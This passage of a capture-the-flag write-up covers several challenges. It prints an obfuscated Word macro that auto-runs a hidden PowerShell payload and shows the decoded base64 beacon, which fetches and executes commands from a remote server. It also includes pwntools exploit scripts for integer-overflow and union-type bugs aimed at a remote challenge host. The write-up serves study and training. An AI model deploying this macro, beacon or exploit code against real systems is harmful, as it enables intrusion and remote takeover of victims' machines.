fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37312036352036382031303320363520373620313033203636203732203635203731") & uxdufnkjlialsyp("20383520363520313030203635203636203637203635203732203130372036352031303020363520363620313038203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3732203737203635203735203635203635203130372036352037312038352036352037352031313920363520313037203635203732203733203635203735203831203635") & uxdufnkjlialsyp("20313033203635203637203438"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352039372031303320363620") & uxdufnkjlialsyp("3131382036352037312031303720363520393820313033203635203130332036352036372039392036352037332036352036352031313020363520363720313037203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313032") & uxdufnkjlialsyp("20383120363520313033203635203732203737203635203938203635203636203130382036352037312038352036352039392036352036352031303320363520363820363520363520373620313033"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520353220363520373220343820363520383320363520363620") & uxdufnkjlialsyp("3835203635203639203733203635203130312031313920363520343920363520373220383520363520393920363520363520313232203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("373220373320363520383820313139203635203132322036352036382038312036352037382038") & uxdufnkjlialsyp("31203636203533203635203730203536203635203938203831203635203438203635203731203737203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("393920313033203635203131392036352036382038352036352031303220383120") & uxdufnkjlialsyp("3635203631"))
okbzichkqtto = fxnrfzsdxmcvranp
End Function
Private Function sryivxjsdncj() As String
Dim fxnrfzsdxmcvranp As String
fxnrfzsdxmcvranp = ""
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + okbzichkqtto()
sryivxjsdncj = fxnrfzsdxmcvranp
End Function
Sub lmavedb()
dropPath = Environ("TEMP")
Set rxnnvnfqufrzqfhnff = CreateObject(uxdufnkjlialsyp("536372697074696e672e46696c6553797374") & uxdufnkjlialsyp("656d4f626a656374"))
Set ktmlmpc = rxnnvnfqufrzqfhnff.OpenTextFile(dropPath & uxdufnkjlialsyp("5c68") & uxdufnkjlialsyp("6973746f72792e62616b"))
secret = ktmlmpc.ReadAll
ktmlmpc.Close
Code = "powershell -WindowStyle hidden -e """ & secret
x = Shell(Code, 1)
End Sub
Function uxdufnkjlialsyp(ByVal tiyrahvbz As String) As String
Dim nqjveawetp As Long
For nqjveawetp = 1 To Len(tiyrahvbz) Step 2
uxdufnkjlialsyp = uxdufnkjlialsyp & Chr$(Val("&H" & Mid$(tiyrahvbz, nqjveawetp, 2)))
Next nqjveawetp
End Function
We see that on line 99
, it executes an encoded powershell payload secret
.
And the secret
is populated through a lot of obfuscation and conversions. Well, we don't really need to deobfuscate all this manually. We can just replace the powershell execution with a print statement and print the value of the secret
. It will show the base64 encoded payload.
We can do this in Microsoft Word macro editor. Here's what the final code looks like.
Sub AutoOpen()
odhsjwpphlxnb
Call lmavedb
End Sub
Private Sub odhsjwpphlxnb()
Dim bnhupraoau As String
CreateObject("WScript.Shell").currentdirectory = Environ("TEMP")
bnhupraoau = sryivxjsdncj()
dropPath = Environ("TEMP")
Set rxnnvnfqufrzqfhnff = CreateObject(uxdufnkjlialsyp("53637269707469") & uxdufnkjlialsyp("6e672e46696c6553797374656d4f626a656374"))
Set dfdjqgaqhvxxi = rxnnvnfqufrzqfhnff.CreateTextFile(dropPath & uxdufnkjlialsyp("5c68697374") & uxdufnkjlialsyp("6f72792e62616b"), True)
dfdjqgaqhvxxi.Write bnhupraoau
dfdjqgaqhvxxi.Close
End Sub
Private Function wdysllqkgsbzs(strBytes) As String
Dim aNumbers
Dim fxnrfzsdxmcvranp As String
Dim iIter
fxnrfzsdxmcvranp = ""
aNumbers = Split(strBytes)
For iIter = LBound(aNumbers) To UBound(aNumbers)
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + Chr(aNumbers(iIter))
Next
wdysllqkgsbzs = fxnrfzsdxmcvranp
End Function
Private Function okbzichkqtto() As String
Dim fxnrfzsdxmcvranp As String
fxnrfzsdxmcvranp = ""
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3734203635203636203132322036352036382034382036352037342031") & uxdufnkjlialsyp("31392036352035312036352036382039392036352037362031303320363520353120363520363820383120363520373620313033"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520313230203635203638203130") & uxdufnkjlialsyp("37203635203739203635203635203131372036352036382038352036352037372031303320363520353420363520363820313033203635203737203635203635203532"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203638203635203635203734") & uxdufnkjlialsyp("20313139203635203535203635203637203831203635203937203831203635203537203635203637203939203635203930203635203635203438203635203638203737"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203839203130332036362031303620363520373120373720363520373820313033203636203130372036352036") & uxdufnkjlialsyp("37203438203635203737203635203635203438203635203638203737203635203930"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313033203635203132312036352036382038312036352037372036352036352035") & uxdufnkjlialsyp("33203635203637203438203635203738203131392036362031303820363520373120363920363520373720313033203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313232203635203731203639203635203737203130332036362031303620363520363720393920363520373920313139203635203130372036352037322036352036352038302038312036352031") & uxdufnkjlialsyp("3130203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("373120313033203635203130302036352036362034382036352037322036352036352037392031303320") & uxdufnkjlialsyp("36352031313820363520363720353620363520373420313139203635203535203635203637203831"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352031303020313033203635203537203635203639203130372036352039382031303320363620353020363520373120353620363520393720313139203636203130382036352036372034") & uxdufnkjlialsyp("38203635203835"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("31303320363620313038203635203732203737203635203130302036352036362037382036352037312038352036352031303020363520363620313131203635203731203536203635203930") & uxdufnkjlialsyp("203635203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313033203635203637203438203635203836203831203636203132322036352037312038") & uxdufnkjlialsyp("35203635203831203130332036362031303420363520373220373720363520393720383120363620313036203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("373020363520363520383920383120363620313231203635203732203737203635203937203831203636") & uxdufnkjlialsyp("2031313720363520373120393920363520373320363520363520313136203635203730203835203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3939203130332036362031313220363520363720363520363520373420363520363620313139203635203637203831203635203939203131392036352031313820") & uxdufnkjlialsyp("3635203731203831203635203738203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520313232203635203731203733203635") & uxdufnkjlialsyp("20383920313139203636203130362036352036382038392036352039302036352036352031303320363520363720343820363520383320363520363620313038"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352037312036392036352039302036352036362031303820363520373220373320363520393920313139203635") & uxdufnkjlialsyp("20313033203635203639203635203635203130312031313920363520313035203635203639"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363920363520313030203831203636203438203635203731203130332036352039") & uxdufnkjlialsyp("38203131392036362031323120363520373120313037203635203130312031303320363620313034203635203732203831"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520393720383120363620") & uxdufnkjlialsyp("313138203635203731203532203635203733203130332036352035372036352036372038312036352039372038312036362035372036352036382031313520363520313030"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313139203636203131312036352037312031303720363520393820363520363620313038") & uxdufnkjlialsyp("2036352036372036352036352037352036352036352031303720363520373220383120363520393920313033203636"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("34392036352037312038352036352037352038312036362035352036352036372038312036352038392031313920363520353720363520363720313033203635203833203831203636203131") & uxdufnkjlialsyp("37203635203732"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38392036352039382031313920363620313134203635203731203835203635203736203831203636203833") & uxdufnkjlialsyp("20363520373120383520363520393920313139203636203438203635203639203438203635203930"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38312036362034382036352037312031303320363520393820313139203636203130372036352036372036352036352037362038312036362038362036352037322037") & uxdufnkjlialsyp("37203635203930203831203636203637"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520373120363920363520393920313139203636203131322036352037312037372036352038352036352036362031303420363520") & uxdufnkjlialsyp("37322037332036352039392031313920363620313132203635203731"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("35322036352039302031313920363520313033203635203637203438203635203836203831203636203132312036352037312031303720363520373320363520363520313037203635203732203635") & uxdufnkjlialsyp("203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37342036352036362031323220363520363720") & uxdufnkjlialsyp("35362036352037372036352036352034382036352036382037372036352039302031303320363520313231203635203638203831203635203737203635203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("353320363520363720363520363520373620383120363620373320363520373120383520363520383920383120363620313037203635") & uxdufnkjlialsyp("2037312038352036352039392031303320363620313232203635203637"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352036352038312036352036362035352036352036372037332036352038") & uxdufnkjlialsyp("3120383120363620343920363520373220383120363520393720363520363620313138203635203732203733203635203937"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("383120363620353420363520373120363920363520") & uxdufnkjlialsyp("313030203635203636203131322036352037312035362036352039382031303320363520313035203635203638203438203635203734203635203636"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("31313220363520373220343820363520") & uxdufnkjlialsyp("37352038312036352035352036352037312031303720363520393020313033203635203130332036352036372031303320363520373420363520363620313036203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3637") & uxdufnkjlialsyp("20363520363520373620383120363620313137203635203731203835203635203733203635203635203131302036352036392035322036352039382031313920363620313137203635203731203835"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520373420313139203635203131322036352036372036352036352031303120313139203635203130372036352037322037332036352038302038312036362031313220363520") & uxdufnkjlialsyp("373120383520363520313031"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352036352031303320") & uxdufnkjlialsyp("363520363720383120363520383920313139203635203130332036352036372034382036352038322038312036362031323120363520373220373320363520393820313139203636"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3132312036352036392036392036352038392031313920363620343820363520373120313037203635203938203131392036362031313720363520") & uxdufnkjlialsyp("363720363520363520383520313139203636203438203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3731203536203635203939203635203635203130332036352036372034382036352038322038312036362031323120") & uxdufnkjlialsyp("36352037322037332036352039382031313920363620313231203635203730203839"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520383920383120363620313231203635203731203130372036352038392038") & uxdufnkjlialsyp("31203636203130352036352037312031313920363520393020383120363520313033203635203731203835203635203739"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3131392036352031303720363520373220373320363520383020383120") & uxdufnkjlialsyp("3636203830203635203732203835203635203130302036352036352031313620363520373020373720363520313030203635203636"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3132312036352037") & uxdufnkjlialsyp("31203130372036352039382031303320363620313130203635203637203635203635203736203831203636203734203635203731203532203635203939203635203636203439203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37322038312036352038342031313920363620313035203635203731203131312036352039302038312036362031303620363520373220383120363520373320363520363520313037203635203732") & uxdufnkjlialsyp("203733"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203739203131392036352031303720363520373220383120363520383020383120363620") & uxdufnkjlialsyp("373420363520373120353220363520313030203130332036362031313820363520373120313135203635203930"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38312036352031313620363520373020373320363520393020383120363620313232203635203732203831203635203834203831203636203130") & uxdufnkjlialsyp("3820363520373220383120363520393720363520363620313138"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203731203831203635203733") & uxdufnkjlialsyp("20363520363520313136203635203730203835203635203939203130332036362031313220363520363720363520363520373420363520363620313139203635203637"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3831203635203939203131392036352031313820363520363820393920363520393020383120363620313034203635203638203733203635203737203131392036362031303420363520363820373320") & uxdufnkjlialsyp("3635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38392031313920363520313033203635203637203438203635203834203831203636203130382036352037322038312036352039372036352036362031313820363520373120") & uxdufnkjlialsyp("3831203635203733203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363620383120") & uxdufnkjlialsyp("36352036392035362036352038352031313920363620383520363520363720363520363520373620383120363620373320363520373120383520363520383920383120363620313037203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37312038352036352039392031303320363620313232203635203637203635203635203831203635203636203535") & uxdufnkjlialsyp("203635203637203733203635203831203831203636203439203635203732203831203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3937203635203636203131382036352037322037332036352039372038312036362035342036352037312036392036352031303020363520363620313132203635203731203536203635203938") & uxdufnkjlialsyp("20313033"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203130352036352036382034382036352037342036352036362031313220363520373220343820363520373320363520363520") & uxdufnkjlialsyp("3131362036352036392037332036352039382031313920363620313037"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520373220") & uxdufnkjlialsyp("3130372036352037332036352036352031313120363520373020313135203635203835203131392036362035332036352037322037372036352031303020363520363620313038203635203731"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3438203635") & uxdufnkjlialsyp("203736203130332036362038352036352037312038352036352031303120363520363620343820363520363720353220363520383220383120363620313137203635203731203737203635203938"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3131392036362031303720363520373120313037203635203938203130332036362031313020363520373020343820363520373920313033203635203534203635203730203835203635") & uxdufnkjlialsyp("203836203635203636"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37312036352036382031303320363520373620313033203636203732203635203731") & uxdufnkjlialsyp("20383520363520313030203635203636203637203635203732203130372036352031303020363520363620313038203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3732203737203635203735203635203635203130372036352037312038352036352037352031313920363520313037203635203732203733203635203735203831203635") & uxdufnkjlialsyp("20313033203635203637203438"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352039372031303320363620") & uxdufnkjlialsyp("3131382036352037312031303720363520393820313033203635203130332036352036372039392036352037332036352036352031313020363520363720313037203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313032") & uxdufnkjlialsyp("20383120363520313033203635203732203737203635203938203635203636203130382036352037312038352036352039392036352036352031303320363520363820363520363520373620313033"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520353220363520373220343820363520383320363520363620") & uxdufnkjlialsyp("3835203635203639203733203635203130312031313920363520343920363520373220383520363520393920363520363520313232203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("373220373320363520383820313139203635203132322036352036382038312036352037382038") & uxdufnkjlialsyp("31203636203533203635203730203536203635203938203831203635203438203635203731203737203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("393920313033203635203131392036352036382038352036352031303220383120") & uxdufnkjlialsyp("3635203631"))
okbzichkqtto = fxnrfzsdxmcvranp
End Function
Private Function sryivxjsdncj() As String
Dim fxnrfzsdxmcvranp As String
fxnrfzsdxmcvranp = ""
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + okbzichkqtto()
sryivxjsdncj = fxnrfzsdxmcvranp
End Function
Sub lmavedb()
dropPath = Environ("TEMP")
Set rxnnvnfqufrzqfhnff = CreateObject(uxdufnkjlialsyp("536372697074696e672e46696c6553797374") & uxdufnkjlialsyp("656d4f626a656374"))
Set ktmlmpc = rxnnvnfqufrzqfhnff.OpenTextFile(dropPath & uxdufnkjlialsyp("5c68") & uxdufnkjlialsyp("6973746f72792e62616b"))
secret = ktmlmpc.ReadAll
ktmlmpc.Close
'Code = "powershell -WindowStyle hidden -e """ & secret
' x = Shell(Code, 1)
Debug.Print secret
End Sub
Function uxdufnkjlialsyp(ByVal tiyrahvbz As String) As String
Dim nqjveawetp As Long
For nqjveawetp = 1 To Len(tiyrahvbz) Step 2
uxdufnkjlialsyp = uxdufnkjlialsyp & Chr$(Val("&H" & Mid$(tiyrahvbz, nqjveawetp, 2)))
Next nqjveawetp
End Function
I have commented out the lines 99
and 100
and added a Debug.Print
statement. This will print the value of secret
in the Immediate
window of the macro editor.
Let's create the macro.
Enable the Immediate
window if it's not enabled already.
And execute our code.
As soon as we hit the run button, we get the base64 encoded payload.
JABzAD0AJwA3ADcALgA3ADQALgAxADkAOAAuADUAMgA6ADgAMAA4ADAAJwA7ACQAaQA9ACcAZAA0ADMAYgBjAGMANgBkAC0AMAA0ADMAZgAyADQAMAA5AC0ANwBlAGEAMgAzAGEAMgBjACcAOwAkAHAAPQAnAGgAdAB0AHAAOgAvAC8AJwA7ACQAdgA9AEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAAtAFUAcgBpACAAJABwACQAcwAvAGQANAAzAGIAYwBjADYAZAAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAiAEEAdQB0AGgAbwByAGkAegBhAHQAaQBvAG4AIgA9ACQAaQB9ADsAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQB7ACQAYwA9ACgASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVQByAGkAIAAkAHAAJABzAC8AMAA0ADMAZgAyADQAMAA5ACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACIAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAiAD0AJABpAH0AKQA7AGkAZgAgACgAJABjACAALQBuAGUAIAAnAE4AbwBuAGUAJwApACAAewAkAHIAPQBpAGUAeAAgACQAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAgAC0ARQByAHIAbwByAFYAYQByAGkAYQBiAGwAZQAgAGUAOwAkAHIAPQBPAHUAdAAtAFMAdAByAGkAbgBnACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAkAHIAOwAkAHQAPQBJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAtAFUAcgBpACAAJABwACQ
AcwAvADcAZQBhADIAMwBhADIAYwAgAC0ATQBlAHQAaABvAGQAIABQAE8AUwBUACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACIAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAiAD0AJABpAH0AIAAtAEIAbwBkAHkAIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAkAGUAKwAkAHIAKQAgAC0AagBvAGkAbgAgACcAIAAnACkAfQAgAHMAbABlAGUAcAAgADAALgA4AH0ASABUAEIAewA1AHUAcAAzAHIAXwAzADQANQB5AF8AbQA0AGMAcgAwADUAfQA=
Let's decode it.
And we get the flag.
HTB{5up3r_345y_m4cr05}
Pwn - Pumpkin Stand
This time of the year, we host our big festival and the one who craves the pumpkin faster and make it as scary as possible, gets an amazing prize! Be fast and try to crave this hard pumpkin!
We have glibc
files and a 64-bit ELF binary.
$ file pumpkin_stand
pumpkin_stand: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fbbc6afe5dc2e791b38dfc19dbce5ab57c4a915e, not stripped
Several protections are enabled so this may not be a typical memory corruption.
Let's run the binary and see what it does.
So this is like a shop where we can buy shovels and lasers with a currency called pumpcoins. One shovel costs 1337
pumpcoins and one laser costs 9999
pumpcoins.
In our wallet, we only have 1337
pumpcoins. So technically, we can only buy one shovel.
There are two menus which require user input. The first menu asks which item we want to buy. The second menu asks how many of the selected item we want to buy. Let's open the binary in Ghidra and understand the logic.
Right off the bat, we see that we need to break out of the outermost while
loop, in order to get the flag. And we can only break out of this loop if our pumpcoins are more than 0x270e
i.e. 9998
coins.
Let's see how the program stores the user input from the first and the second menu.
The menu()
function is the first menu where it asks to select the item (shovel or laser). The input for this menu is stored in local_54
. Let's rename that variable to selected_item
.
Then it asks, how many of the selected item do we want to buy. And this input is stored in local_52
. Let's rename that variable to number_of_items
.
Note that both these variables are signed short integers.
A signed short integer can hold a minimum value of -32768
. As soon as it goes lower than that, It may rollover and become some positive value. This is going to be important to understand the exploitation.
To break out of the inner most while loop, we need to have number_of_items
more than 0
.
For the second while loop, we can break out of it if the number of coins is more than -1
.
For the third while loop, we can break out of it if our selected item is not 1
i.e. shovel.
A point to note here that we don't really need to buy the laser in order to break out of the third while loop. We can buy anything which is not at number 1
. What about number 2
or 3
or -1
? These are all valid numbers which are not 1
. We would be reading an arbitrary value for the price though, because we don't know what's stored at 2
or 3
or -1
. This value can be anything like a huge positive number or a huge negative number.
And lastly, to break out of the fourth while loop, we need to have pumpcoins more than 1337
.
So the summary is that we need to buy anything which is not at 1
and we need to buy more than 0
items.
The first thing I tried was to buy an item at position -1
and buy only 1
item.
I was a little confused about what happened here. But then it made sense. At position -1
, we probably have a large number as the price. And when it deducted the price of 1
item from my original amount i.e. 1337
coins, it became negative.
I opened the binary in GDB to verify this theory, and added a break point where it deducts the pumpcoins. I supplied the same values of -1
and 1
.
When it reached the break point, we could see that at position -1
, the price stored was 0x5555
.
So, it tried to subtract 0x5555
(21845) from 0x539
(1337), which resulted in -20508
. So, now I have -20508
pumpcoins.
What if I buy the same item located at -1
again. Theoretically, it would try to do the same thing but this time it would subtract 0x5555
(21845) from -20508
.
-20508 - 21845
This would result in -42353
. But remember what I said about signed short integers. It cannot hold a value lesser than -32768
. So, when it would try to store -42353
, it would rollover and the lower 16 bits of the register would have a positive value.
We see that value would be 0x5A8F
i.e. 23183
. This is certainly higher than 9998
required to break out of the outermost while
loop and get the flag.
Let's give it a try.
And we get the flag.
HTB{1nt3g3R_0v3rfl0w_101_0r_0v3R_9000!}
To be honest, the first time I attempted this challenge, I unexpectedly solved it by just inserting random values. But then I decided to spend some time on it to understand what exactly happened.
I'm still not sure if my understanding of this is accurate, so please feel free to drop me a message if you think this is wrong and I'll amend it accordingly.
Pwn - Entity
This Spooky Time of the year, what's better than watching a scary film on the TV? Well, a lot of things, like playing CTFs but you know what's definitely not better? Something coming out of your TV!
This time we have the binary as well as the C code.
Let's take a look at the main
function.
So in the first menu, the program takes an input and then makes a decision based upon a switch
case
statement. It also erases the data in DataStore
by writing zeros on line # 106
.
For the switch case statement, we need to use T
for STORE_SET
, R
for STORE_GET
, and C
for FLAG
. This is given in the menu
function.
Once it hits the FLAG
case statement, it calls the get_flag
function.
The get_flag
function only prints the flag if the DataStore.integer
value is 13371337
.
So we need to find a way to set DataStore.integer
to 13371337
. Let's take a look at the DataStore
structure.
We see that it's a static union
type structure. In C, a union
type means that we can store data of different types (for example integer and string) in the same memory location. The size of that memory space will be big enough to hold the largest member. So in our case, DataStore
can hold unsigned long long
integer (which is 64-bits or 8 bytes) or a string of length 8
bytes. Let's see how can we store the value of 13371337
in there.
For the STORE_SET
action (i.e. input T
) in the switch case statement, it calls the set_field
function. This function accepts L
for INTEGER
case and S
for STRING
case.
This function can help us set a value in DataStore
. The only problem is that it doesn't let us store the integer 13371337
. It has an if
condition which explicitly prevents that.
We can set any string though. There's no check there. So what if we try to set 13371337
as a string? It will be saved in the same memory location right? Because that's how union
type works. Let's give it a try.
When we try this manually by connecting to the binary, it doesn't work.
We enter T
in the first menu to set a field, then we enter S
in the second menu to tell that we want to set a string, we set 13371337
, and then we try to get the flag with input C
. But it doesn't work. And it makes sense. Let's open the binary in GDB and to understand better.
We'll set a break point at the comparison of the DataStore
value with 13371337
.
Let's use the same inputs and check what exactly gets stored in the DataStore
.
When we hit the break point, we see that the value in DataStore
is 0x3733333137333331
, which is not 13371337
. This is what it is actually in decimal.
gef➤ p/d $rax
$9 = 3977579182370796337
We want to set a string value in a way that when it is fetched as integer, it has a decimal value of 13371337
. This is what rax
should look like.
So in order to do this, we need to send raw bytes 13371337
. To do that, we can use pwntools
.
Let's try this with our local binary first. We can attach GDB to the process and see if the value is set correctly. We can use the following Python script.
from pwn import *
# start local binary
process = process("./entity")
# wait until we receive the prompt
process.recvuntil(b">>")
# send T for SET_STORE
process.sendline('T')
# wait until we receive the prompt
process.recvuntil(b">>")
# send S to set STRING
process.sendline('S')
# wait until we receive the prompt
process.recvuntil(b">>")
# set 13371337 as raw bytes
process.sendline(p64(13371337))
# wait until we receive the prompt
process.recvuntil(b">>")
# drop to interactive shell
process.interactive()
We can attach GDB to the process at the last prompt and set the breakpoint. Then we can send C
manually to call the get_flag
function.
We execute the Python script.
python3 entity.py
It drops us to the interactive shell at the end of the script. Now, we can attach GDB to the process.
gdb-gef -p 752778
We can set break point at the comparison.
And continue with c
.
Back in the interactive shell, we can enter C
to hit the break point.
In GDB, we hit the break point and this is what rax
looks like.
gef➤ p/d $rax
$1 = 13371337
Which is exactly our required value 13371337
in decimal.
Let's change the script a little to connect to the remote target and do the same thing.
from pwn import *
# connect to the remote host
connection = remote("178.62.122.9", 31122)
# wait until we receive the prompt
connection.recvuntil(b">>")
# send T for SET_STORE
connection.sendline(b'T')
# wait until we receive the prompt
connection.recvuntil(b">>")
# send S to set STRING
connection.sendline(b'S')
# wait until we receive the prompt
connection.recvuntil(b">>")
# set 13371337 as raw bytes
connection.sendline(p64(13371337))
# wait until we receive the prompt
connection.recvuntil(b">>")
# send C to call get_flag
connection.sendline(b'C')
# drop to interactive shell
connection.interactive()
And we have the flag.
HTB{f1ght_34ch_3nt1ty_45_4_un10n}
Pwn - Pumpking
Long live the King! Pumpking is the king of our hometown and this time of the year, he makes wishes come true! But, you must be naughty in order to get a wish.. He is like reverse Santa Claus and way cooler!
We have the glibc files and a 64-bit ELF binary.
$ file pumpking
pumpking: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=fbd2ae75e4f0a999c62a92360d6a085e30637725, for GNU/Linux 3.2.0, not stripped
We can see that NX
is disabled so the stack would be executable.
$ checksec --file=pumpking
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX disabled PIE enabled No RPATH RW-RUNPATH 52 Symbols No 0 1 pumpking
